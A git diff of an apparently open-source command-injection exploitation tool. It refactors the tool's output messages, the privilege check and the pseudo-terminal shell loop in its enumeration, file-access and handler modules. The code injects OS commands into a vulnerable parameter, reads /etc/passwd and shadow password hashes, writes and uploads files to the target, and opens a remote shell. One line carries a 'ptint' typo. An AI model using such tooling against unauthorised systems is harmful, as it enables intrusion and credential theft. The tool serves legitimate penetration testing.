--- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py
+++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
@@ -52,14 +52,13 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_
if float(ps_version):
settings.PS_ENABLED = True
# Output PowerShell's version number
- info_msg = "The PowerShell's version number is "
+ info_msg = "Powershell version: "
info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
- sys.stdout.flush()
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The PowerShell's version number is " + ps_version + ".\n"
+ info_msg = "Powershell version: " + ps_version + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
except ValueError:
@@ -90,13 +89,12 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
shell = "".join(str(p) for p in shell)
- info_msg = "The hostname is " + str(shell)
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
- sys.stdout.flush()
+ info_msg = "Hostname: " + str(shell)
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The hostname is " + str(shell) + ".\n"
+ info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
@@ -141,7 +139,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_
distro_name = cb_injector.injection_results(response, TAG, cmd)
distro_name = "".join(str(p) for p in distro_name)
if len(distro_name) != 0:
- target_os = target_os + " (" + distro_name + ")"
+ target_os = target_os + " " + distro_name
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
@@ -161,20 +159,17 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_
session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
else:
target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if target_arch:
- info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL
- info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch)
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
- sys.stdout.flush()
+ if target_os and target_arch:
+ info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")"
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The underlying operating system is " + str(target_os)
- info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
+ info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
- warn_msg = "Heuristics have failed to retrieve the system information."
+ warn_msg = "Heuristics have failed to fetch underlying operating system information."
print(settings.print_warning_msg(warn_msg))
"""
@@ -198,66 +193,55 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method
cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if cu_account:
cu_account = "".join(str(p) for p in cu_account)
- # Check if the user have super privileges.
- if menu.options.is_root or menu.options.is_admin:
- if settings.TARGET_OS == "win":
- cmd = settings.IS_ADMIN
- else:
- cmd = settings.IS_ROOT
- if settings.USE_BACKTICKS:
- cmd = cmd.replace("echo $(","").replace(")","")
- if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
- # Command execution results.
- response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- # Perform target page reload (if it is required).
- if settings.URL_RELOAD:
- response = requests.url_reload(url, timesec)
- # Evaluate injection results.
- shell = cb_injector.injection_results(response, TAG, cmd)
- shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
- session_handler.store_cmd(url, cmd, shell, vuln_parameter)
- else:
- shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- info_msg = "The current user is " + str(cu_account)
- sys.stdout.write(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "The current user is " + cu_account
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- if shell:
- if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
- (settings.TARGET_OS != "win" and shell != "0"):
- sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
- sys.stdout.flush()
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" and it is not privileged.\n")
- output_file.close()
- else:
- sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n")
- sys.stdout.flush()
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" and it is privileged.\n")
- output_file.close()
- else:
- info_msg = "The current user is " + str(cu_account)
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
- sys.stdout.flush()
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "The current user is " + cu_account + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
+ info_msg = "Current user: " + str(cu_account)
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ info_msg = info_msg + "\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
else:
- warn_msg = "Heuristics have failed to identify the current user."
+ warn_msg = "Heuristics have failed to fetch the current user."
print(settings.print_warning_msg(warn_msg))
+"""
+Check if the current user has excessive privileges.
+"""
+def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+ if settings.TARGET_OS == "win":
+ cmd = settings.IS_ADMIN
+ else:
+ cmd = settings.IS_ROOT
+ if settings.USE_BACKTICKS:
+ cmd = cmd.replace("echo $(","").replace(")","")
+ if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
+ # Command execution results.
+ response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
+ # Perform target page reload (if it is required).
+ if settings.URL_RELOAD:
+ response = requests.url_reload(url, timesec)
+ # Evaluate injection results.
+ shell = cb_injector.injection_results(response, TAG, cmd)
+ shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
+ session_handler.store_cmd(url, cmd, shell, vuln_parameter)
+ else:
+ shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+
+ _ = "True"
+ if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
+ (settings.TARGET_OS != "win" and shell != "0"):
+ _ = "False"
+
+ info_msg = "Current user has excessive privileges: " + str(_)
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
+
+
"""
System users enumeration
"""
@@ -300,9 +284,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
sys_users_list = sys_users_list.split()
info_msg = "Identified " + str(len(sys_users_list))
info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " via 'net users' command.\n"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg += " via 'net users' command."
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -335,32 +318,25 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" )
output_file.close()
else:
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
+ print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to enumerate users entries."
- print("\n" + settings.print_warning_msg(warn_msg))
-
+ print(settings.print_warning_msg(warn_msg))
except TypeError:
- sys.stdout.write(settings.FAIL_STATUS + "\n")
- sys.stdout.flush()
pass
-
except IndexError:
- sys.stdout.write(settings.FAIL_STATUS)
- warn_msg = "It seems that you don't have permissions to enumerate users entries.\n"
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
+ print(settings.SINGLE_WHITESPACE)
+ warn_msg = "It seems that you don't have permissions to enumerate users entries."
+ print(settings.print_warning_msg(warn_msg))
pass
# Unix-like users enumeration.
else:
- info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE
+ info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
info_msg += "' in order to enumerate users entries. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
+ print(settings.print_info_msg(info_msg))
try:
if sys_users[0] :
sys_users = "".join(str(p) for p in sys_users).strip()
@@ -370,11 +346,9 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
sys_users = sys_users.split(" ")
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0 :
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
- print("\n" + settings.print_warning_msg(warn_msg))
+ print(settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
@@ -386,12 +360,10 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user : user + 3])
if len(sys_users_list) != 0 :
- sys.stdout.write(settings.SUCCESS_STATUS)
info_msg = "Identified " + str(len(sys_users_list))
info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " in '" + settings.PASSWD_FILE + "'.\n"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg += " in '" + settings.PASSWD_FILE + "'."
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -431,11 +403,11 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
else :
is_privileged = ""
is_privileged_nh = ""
- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -449,22 +421,17 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
output_file.write(" " + sys_users)
output_file.close()
else:
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
+ print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to read the '"
warn_msg += settings.PASSWD_FILE + "'."
- print("\n" + settings.print_warning_msg(warn_msg))
+ ptint(settings.print_warning_msg(warn_msg))
except TypeError:
- sys.stdout.write(settings.FAIL_STATUS + "\n")
- sys.stdout.flush()
pass
-
except IndexError:
- sys.stdout.write(settings.FAIL_STATUS)
+ print(settings.SINGLE_WHITESPACE)
warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n"
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
+ warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
+ print(settings.print_warning_msg(warn_msg))
pass
"""
@@ -472,7 +439,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
"""
def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
if settings.TARGET_OS == "win":
- # Not yet implemented!
+ check_option = "--passwords"
+ checks.unavailable_option(check_option)
pass
else:
cmd = settings.SYS_PASSES
@@ -491,19 +459,16 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
if sys_passes == "":
sys_passes = " "
if sys_passes :
- info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE
+ info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
info_msg += "' in order to enumerate users password hashes. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
+ print(settings.print_info_msg(info_msg))
sys_passes = sys_passes.replace(" ", "\n")
sys_passes = sys_passes.split()
if len(sys_passes) != 0 :
- sys.stdout.write(settings.SUCCESS_STATUS)
info_msg = "Identified " + str(len(sys_passes))
info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
- info_msg += " in '" + settings.SHADOW_FILE + "'.\n"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg += " in '" + settings.SHADOW_FILE + "'."
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -516,7 +481,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
if ":" in line:
fields = line.split(":")
if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
- print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
+ print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -527,27 +492,23 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
if count == 1 :
warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
- sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n")
+ print(settings.print_warning_msg(warn_msg))
print(fields[0])
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(" " + fields[0])
output_file.close()
else:
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to read the '"
warn_msg += settings.SHADOW_FILE + "' file."
- print("\n" + settings.print_warning_msg(warn_msg))
+ print(settings.print_warning_msg(warn_msg))
"""
Single os-shell execution
"""
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
cmd = menu.options.os_cmd
- # if menu.file_access_options():
- # sys.stdout.flush()
- info_msg = "Executing the user-supplied command '" + cmd + "'."
+ info_msg = "Executing the user-supplied command: '" + cmd + "'."
print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
@@ -561,43 +522,49 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if shell:
- if shell != "":
- if settings.VERBOSITY_LEVEL <= 1:
- print(settings.SINGLE_WHITESPACE)
- print(settings.command_execution_output(shell))
- print(settings.SINGLE_WHITESPACE)
+ if shell and shell != "":
+ _ = "'" + cmd + "' execution output"
+ print(settings.print_retrieved_data(_, shell))
else:
- err_msg = "The '" + cmd + "' command, does not return any output."
- print(settings.print_critical_msg(err_msg))
-
+ err_msg = "The execution of '" + cmd + "' command does not return any output."
+ print(settings.print_error_msg(err_msg))
"""
Check the defined options
"""
def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
-
- # if not settings.VERBOSITY_LEVEL != 0 and not settings.ENUMERATION_DONE:
- # print(settings.SINGLE_WHITESPACE)
-
# Check if PowerShell is enabled.
if not menu.options.ps_version and settings.TARGET_OS == "win":
checks.ps_check()
if menu.options.ps_version and settings.PS_ENABLED == None:
if not checks.ps_incompatible_os():
+ info_msg = "Fetching powershell version."
+ print(settings.print_info_msg(info_msg))
powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.hostname:
+ info_msg = "Fetching hostname."
+ print(settings.print_info_msg(info_msg))
hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.current_user:
+ info_msg = "Fetching current user."
+ print(settings.print_info_msg(info_msg))
current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
+ if menu.options.is_root or menu.options.is_admin:
+ info_msg = "Testing if current user has excessive privileges."
+ print(settings.print_info_msg(info_msg))
+ check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
+ settings.ENUMERATION_DONE = True
+
if menu.options.sys_info:
+ info_msg = "Fetching the underlying operating system information."
+ print(settings.print_info_msg(info_msg))
system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py
index 886590388d..bc9538b1b4 100755
--- a/src/core/injections/results_based/techniques/classic/cb_file_access.py
+++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py
@@ -33,7 +33,7 @@
"""
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
- info_msg = "Fetching the content of the file '"
+ info_msg = "Fetching content of the file: '"
info_msg += file_to_read + "'."
print(settings.print_info_msg(info_msg))
@@ -54,17 +54,13 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
- # print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "Fetched content of the file '"
- info_msg += file_to_read + "'."
- print(settings.print_bold_info_msg(info_msg))
- print(settings.print_sub_content(shell))
+ _ = "Fetched file content"
+ print(settings.print_retrieved_data(_, shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
info_msg = "Extracted content of the file '"
- info_msg += file_to_read + "' : " + shell + ".\n"
+ info_msg += file_to_read + "' : " + shell + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
@@ -153,8 +149,6 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
- # if settings.VERBOSITY_LEVEL != 0:
- # print(settings.SINGLE_WHITESPACE)
if shell:
info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
print(settings.print_bold_info_msg(info_msg))
@@ -167,7 +161,8 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
"""
def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
if settings.TARGET_OS == "win":
- # Not yet implemented
+ check_option = "--file-upload"
+ checks.unavailable_option(check_option)
pass
else:
file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
@@ -213,8 +208,6 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method,
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
- # if settings.VERBOSITY_LEVEL != 0:
- # print(settings.SINGLE_WHITESPACE)
if shell:
info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
print(settings.print_bold_info_msg(info_msg))
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index 425c6da347..088316b646 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -126,12 +126,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
- if settings.VERBOSITY_LEVEL == 1:
+ if settings.VERBOSITY_LEVEL != 0:
print(settings.print_payload(payload))
- elif settings.VERBOSITY_LEVEL >= 2:
- debug_msg = "Generating payload for the injection."
- print(settings.print_debug_msg(debug_msg))
- print(settings.print_payload(payload))
# Cookie header injection
if settings.COOKIE_INJECTION == True:
@@ -197,10 +193,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
- except KeyboardInterrupt:
- raise
-
- except SystemExit:
+ except (KeyboardInterrupt, SystemExit):
+ print(settings.SINGLE_WHITESPACE)
raise
except EOFError:
@@ -273,11 +267,13 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
checks.total_of_requests()
# Print the findings to terminal.
- info_msg = "The"
+ finding = ""
if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
- info_msg += " " + http_request_method + ""
- info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
- info_msg += found_vuln_parameter + " seems injectable via "
+ finding += http_request_method + ""
+ finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter
+
+ # Print the findings to terminal.
+ info_msg = finding + " appears to be injectable via "
info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
@@ -293,8 +289,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
- message = "Do you want to ignore stored session and enumerate again? [Y/n] > "
- enumerate_again = common.read_input(message, default="Y", check_batch=True)
+ message = "Do you want to ignore stored session and enumerate again? [y/N] > "
+ enumerate_again = common.read_input(message, default="N", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
@@ -316,8 +312,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
while True:
- message = "Do you want to ignore stored session and access files again? [Y/n] > "
- file_access_again = common.read_input(message, default="Y", check_batch=True)
+ message = "Do you want to ignore stored session and access files again? [y/N] > "
+ file_access_again = common.read_input(message, default="N", check_batch=True)
if file_access_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
@@ -338,24 +334,24 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
# Check if defined single cmd.
if menu.options.os_cmd:
cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
-
- # Pseudo-Terminal shell
- go_back = False
- go_back_again = False
- while True :
- if go_back == True:
- break
- message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
- if settings.IS_TTY:
- gotshell = common.read_input(message, default="Y", check_batch=True)
- else:
- gotshell = common.read_input(message, default="n", check_batch=True)
- if gotshell in settings.CHOICE_YES:
- print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
- if settings.READLINE_ERROR:
- checks.no_readline_module()
- while True:
- try:
+
+ try:
+ # Pseudo-Terminal shell
+ go_back = False
+ go_back_again = False
+ while True :
+ if go_back == True:
+ break
+ message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
+ if settings.IS_TTY:
+ gotshell = common.read_input(message, default="Y", check_batch=True)
+ else:
+ gotshell = common.read_input(message, default="n", check_batch=True)
+ if gotshell in settings.CHOICE_YES:
+ print(settings.OS_SHELL_TITLE)
+ if settings.READLINE_ERROR:
+ checks.no_readline_module()
+ while True:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
@@ -387,52 +383,39 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if shell:
+ if shell or shell != "":
shell = unescape(shell)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
- if shell != "":
- if settings.VERBOSITY_LEVEL <= 1:
- print(settings.SINGLE_WHITESPACE)
print(settings.command_execution_output(shell))
- print(settings.SINGLE_WHITESPACE)
else:
- if settings.VERBOSITY_LEVEL == 1 or (len(cmd) == 0 and settings.VERBOSITY_LEVEL <= 1):
- print(settings.SINGLE_WHITESPACE)
- err_msg = "The '" + cmd + "' command, does not return any output."
- print(settings.print_critical_msg(err_msg))
- print(settings.SINGLE_WHITESPACE)
-
- except KeyboardInterrupt:
- raise
-
- except SystemExit:
- raise
-
- except EOFError:
- if not settings.IS_TTY:
- print(settings.SINGLE_WHITESPACE)
- err_msg = "Exiting, due to EOFError."
- print(settings.print_error_msg(err_msg))
- raise
-
- elif gotshell in settings.CHOICE_NO:
- if checks.next_attack_vector(technique, go_back) == True:
- break
- else:
- if no_result == True:
- return False
+ err_msg = "The execution of '" + cmd + "' command does not return any output."
+ print(settings.print_error_msg(err_msg))
+ elif gotshell in settings.CHOICE_NO:
+ if checks.next_attack_vector(technique, go_back) == True:
+ break
else:
- return True
+ if no_result == True:
+ return False
+ else:
+ return True
+ elif gotshell in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + gotshell + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
- elif gotshell in settings.CHOICE_QUIT:
- raise SystemExit()
+ except (KeyboardInterrupt, SystemExit):
+ raise
+
+ except EOFError:
+ if not settings.IS_TTY:
+ print(settings.SINGLE_WHITESPACE)
+ err_msg = "Exiting, due to EOFError."
+ print(settings.print_error_msg(err_msg))
+ raise
- else:
- err_msg = "'" + gotshell + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
-
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
index 9b5fcb1e51..8f90f5b642 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
@@ -15,15 +15,12 @@
import re
import sys
-
from src.utils import logs
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
-
from src.core.injections.controller import checks
from src.thirdparty.colorama import Fore, Back, Style, init
-
from src.core.requests import requests
from src.core.injections.results_based.techniques.eval_based import eb_injector
@@ -57,14 +54,13 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_
if float(ps_version):
settings.PS_ENABLED = True
# Output PowerShell's version number
- info_msg = "The PowerShell's version number is "
+ info_msg = "Powershell version: "
info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
- sys.stdout.flush()
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The PowerShell's version number is " + ps_version + ".\n"
+ info_msg = "Powershell version: " + ps_version + "\n"
